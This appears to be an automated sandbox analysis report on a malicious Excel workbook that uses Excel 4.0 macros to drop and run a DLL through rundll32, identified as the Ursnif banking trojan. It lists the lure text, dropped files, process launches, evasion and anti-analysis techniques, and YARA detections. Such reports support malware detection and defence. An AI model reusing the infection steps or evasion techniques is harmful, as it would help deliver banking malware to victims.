Source: Document image extraction number: 3	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Document image extraction number: 3	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.

Found Excel 4.0 Macro with suspicious formulas

Source: OCC-221220-TBU1XAT7X4.xls	Initial sample: CALL
Source: OCC-221220-TBU1XAT7X4.xls	Initial sample: EXEC

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\cnvmb.rty			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png			Jump to dropped file

Writes registry values via WMI

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Contains functionality to call native functions

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10002415 NtQueryVirtualMemory,		4_2_10002415
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001A1757 memcpy,memcpy,lstrcatW,CreateEventA,NtQueryInformationProcess,CloseHandle,		4_2_001A1757
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001A4DF0 NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,RtlNtStatusToDosError,		4_2_001A4DF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001AAC53 RtlInitUnicodeString,NtClose,RtlNtStatusToDosError,		4_2_001AAC53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001A6101 RtlNtStatusToDosError,NtClose,		4_2_001A6101

Detected potential crypto function

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_100021F4		4_2_100021F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001AC490		4_2_001AC490
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001AB8DC		4_2_001AB8DC

Document contains embedded VBA macros

Source: OCC-221220-TBU1XAT7X4.xls

OLE indicator, VBA macros: true

Yara signature match

Source: OCC-221220-TBU1XAT7X4.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Binary contains paths to development resources

Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Classification label

Source: classification engine

Classification label: mal100.bank.troj.expl.evad.winXLS@10/28@5/2

Contains functionality to instantiate COM classes

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_001A3553 CoCreateInstance,

4_2_001A3553

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\CDDE0000

Jump to behavior

Creates mutexes

Source: C:\Windows\SysWOW64\rundll32.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\28835087-CD0E-3290-3D29-EA6553635A2C

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD5A6.tmp

Jump to behavior

Document contains an OLE Workbook stream indicating a Microsoft Excel file

Source: OCC-221220-TBU1XAT7X4.xls

OLE indicator, Workbook stream: true

Queries process information (via WMI, Win32_Process)

Source: C:\Windows\SysWOW64\rundll32.exe

WMI Queries: IWbemServices::ExecQuery - select * from win32_process

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1164 CREDAT:275457 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1164 CREDAT:799749 /prefetch:2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer			Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1164 CREDAT:275457 /prefetch:2			Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1164 CREDAT:799749 /prefetch:2			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\InprocServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation:

Contains functionality to dynamically determine API calls

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_10001601 GetModuleHandleW,LoadLibraryW,GetProcAddress,

4_2_10001601

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_100021E3 push ecx; ret		4_2_100021F3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_001AC47F push ecx; ret		4_2_001AC48F

Persistence and Installation Behavior:

Drops PE files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\cnvmb.rty			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png			Jump to dropped file

Drops PE files to the user directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\cnvmb.rty

Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\cnvmb.rty			Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\cnvmb.rty

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Source: Yara match	File source: 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2536, type: MEMORY

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Found dropped PE file which has not been started or loaded

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png

Jump to dropped file

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Anti Debugging:

Contains functionality to dynamically determine API calls

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_10001601 GetModuleHandleW,LoadLibraryW,GetProcAddress,

4_2_10001601

Contains functionality to read the PEB

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00180940 mov eax, dword ptr fs:[00000030h]

4_2_00180940

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\cnvmb.rty,DllRegisterServer

Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: rundll32.exe, 00000003.00000002.2420076289.0000000000730000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420212763.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000003.00000002.2420076289.0000000000730000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420212763.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.2420076289.0000000000730000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420212763.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_001A212D cpuid

4_2_001A212D

Contains functionality to query locales information (e.g. system language)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,

4_2_001A340B

Contains functionality to query local / system time

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_001AAEF6 GetSystemTimeAsFileTime,SetWaitableTimer,

4_2_001AAEF6

Contains functionality to query the account / user name

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_001A212D GetUserNameW,

4_2_001A212D

Contains functionality to query windows version

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_001AA06E CreateMutexW,GetLastError,CloseHandle,GetLastError,GetVersionExA,GetModuleHandleA,RtlImageNtHeader,CloseHandle,

4_2_001AA06E

Queries the cryptographic machine GUID

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

AV process strings found (often used to terminate AV products)

Source: rundll32.exe, 00000004.00000002.2420139760.000000000064D000.00000004.00000020.sdmp

Binary or memory string: V%ProgramFiles%\Windows Defender\MSASCui.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Windows\SysWOW64\rundll32.exe

WMI Queries: IWbemServices::ExecQuery - select * from antispywareproduct

Stealing of Sensitive Information:

Yara detected Ursnif

Source: Yara match	File source: 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2536, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Source: Yara match	File source: 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2536, type: MEMORY